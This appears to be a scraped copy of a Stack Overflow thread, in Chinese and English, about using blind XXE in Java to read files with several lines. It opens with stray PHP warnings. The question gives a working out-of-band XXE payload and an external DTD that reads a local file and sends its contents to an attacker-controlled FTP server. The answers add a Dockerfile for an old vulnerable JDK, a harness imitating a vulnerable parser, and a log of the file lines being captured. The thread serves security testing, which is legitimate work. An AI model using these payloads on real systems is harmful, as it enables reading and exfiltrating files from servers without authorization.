Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/java/303.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Java XXE-无法检索具有多行的文件_Java_Xml_Xxe - Fatal编程技术网

Java XXE-无法检索具有多行的文件

Java XXE-无法检索具有多行的文件,java,xml,xxe,Java,Xml,Xxe,我创建了一个易受(盲)XXE攻击的Java应用程序 我能够利用该漏洞并使用以下方法检索包含单行的文件: 1) 截取XML请求并按如下方式修改它: <?xml version='1.0'?> <!DOCTYPE xxe [ <!ENTITY % EvilDTD SYSTEM 'http://192.168.27.152/evil_oob.dtd'> %EvilDTD; %LoadOOBEnt; %

我创建了一个易受(盲)XXE攻击的Java应用程序

我能够利用该漏洞并使用以下方法检索包含单行的文件:

1) 截取XML请求并按如下方式修改它:

<?xml version='1.0'?>
    <!DOCTYPE xxe [
        <!ENTITY % EvilDTD SYSTEM 'http://192.168.27.152/evil_oob.dtd'>
        %EvilDTD;
        %LoadOOBEnt;
        %OOB;
    ]>

2) 在192.168.27.152上,在端口80上提供以下evil_oob.dtd:

<!ENTITY % resource SYSTEM "file:///C:/temp/test.txt">
<!ENTITY % LoadOOBEnt "<!ENTITY &#x25; OOB SYSTEM 'ftp://192.168.27.152:2121/%resource;'>">

3) 在端口2121的攻击者计算机上运行修改后的FTP服务器()

正如我前面解释的,当test.txt包含一行代码时,一切正常。但是,如果test.txt包含多行(因此包含回车符),则ftp URL无效,并且出现以下错误:

java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP
command     at
 sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:518)

<... snip ...>

at java.lang.Thread.run(Thread.java:748) Caused by:
  sun.net.ftp.FtpProtocolException: Illegal FTP command     at
  sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:533)   at
  sun.net.ftp.impl.FtpClient.openDataConnection(FtpClient.java:752)     at
  sun.net.ftp.impl.FtpClient.getFileStream(FtpClient.java:1293)     at
  sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:435)
    ... 114 more Caused by: java.lang.IllegalArgumentException: **Illegal
  carriage return**     at
  sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:535)
java.io.IOException:sun.net.ftp.FtpProtocolException:非法ftp
指挥
net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:518)
在java.lang.Thread.run(Thread.java:748)处,由以下原因引起:
sun.net.ftp.FtpProtocolException:位于的ftp命令非法
sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:533)位于
位于的sun.net.ftp.impl.FtpClient.openDataConnection(FtpClient.java:752)
sun.net.ftp.impl.FtpClient.getFileStream(FtpClient.java:1293)位于
net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:435)
... 114更多原因:java.lang.IllegalArgumentException:*非法
回车**在
sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:535)
我还尝试用运行在不同端口上的http服务器替换FTP服务器,但我当然会遇到类似的错误,因为URL在这种情况下也无效

我想知道是否有可能通过盲XXE检索包含多行的文件?我知道,使用PHP有时可以使用PHP过滤器对文件进行base64编码,但Java的情况并非如此


我已经读了几十篇文章,但找不到实现目标的方法。

这曾经适用于Java的旧版本,但现在不再适用了。它在Java7中的某个地方被修补过

您可以在docker容器上使用旧版本的Java来测试它。我找不到一个现成的,但你可以用一个旧版本的阿尔卑斯山来快速测试。下面是一个示例
Dockerfile

FROM alpine:3.3

ENV JAVA_HOME=/usr/lib/jvm/default-jvm

RUN apk add --no-cache openjdk7 && \
    ln -sf "${JAVA_HOME}/bin/"* "/usr/bin/"

构建它:

docker build -t openjdk7:91 .
您可以使用以下代码模拟易受攻击的服务器:

import javax.xml.parsers.*;
导入org.xml.sax.*;
导入javax.xml.transform.dom.*;
导入org.w3c.dom.Document;
公共类JavaXXE{
公共静态void main(字符串[]args)引发异常{
String xml=“xxe_trigger.xml”;
DocumentBuilderFactory df=DocumentBuilderFactory.newInstance();
DocumentBuilder=df.newDocumentBuilder();
Document=builder.parse(新的InputSource(xml));
DOMSource DOMSource=新的DOMSource(文档);
}
}
将此文件另存为
JavaXXE.java
。将XML(和XXEs)放入名为
xxe\u trigger.XML
的文件中。然后在docker上运行代码(它将当前目录映射到docker的/tmp):

您将看到它将命中FTP服务器,并将文件的所有行作为命令转储。PoC:

FTP. New client connected
< USER anonymous
< PASS Java1.7.0_91@
>230 user logged in
< TYPE I
> 230 more data please!
< EPSV ALL
> 230 more data please!
< EPSV
> 230 more data please!
< EPRT |1|172.17.0.2|35351|
200 EPRT command ok
< RETR this is a two line test to 
> 230 more data please!
< check newline handling capability
> 230 more data please!
FTP。新客户端已连接
<用户匿名
230用户登录
请提供更多数据!
请提供更多数据!
请提供更多数据!
请提供更多数据!
<检查换行处理能力
>请提供更多数据!

这是因为Java的新版本不允许多行URI。对于有此问题的用户,可以尝试切换到较低的java版本,如JDK8u102

理论上读取文件没有限制。你可以阅读其中的任何一行。这种限制更多地存在于后端应用程序的实现中,后者容易受到XXE的攻击。例如,在OWASP Juice Shop中,我们有一个只返回前200个字符的XXE。
FTP. New client connected
< USER anonymous
< PASS Java1.7.0_91@
>230 user logged in
< TYPE I
> 230 more data please!
< EPSV ALL
> 230 more data please!
< EPSV
> 230 more data please!
< EPRT |1|172.17.0.2|35351|
200 EPRT command ok
< RETR this is a two line test to 
> 230 more data please!
< check newline handling capability
> 230 more data please!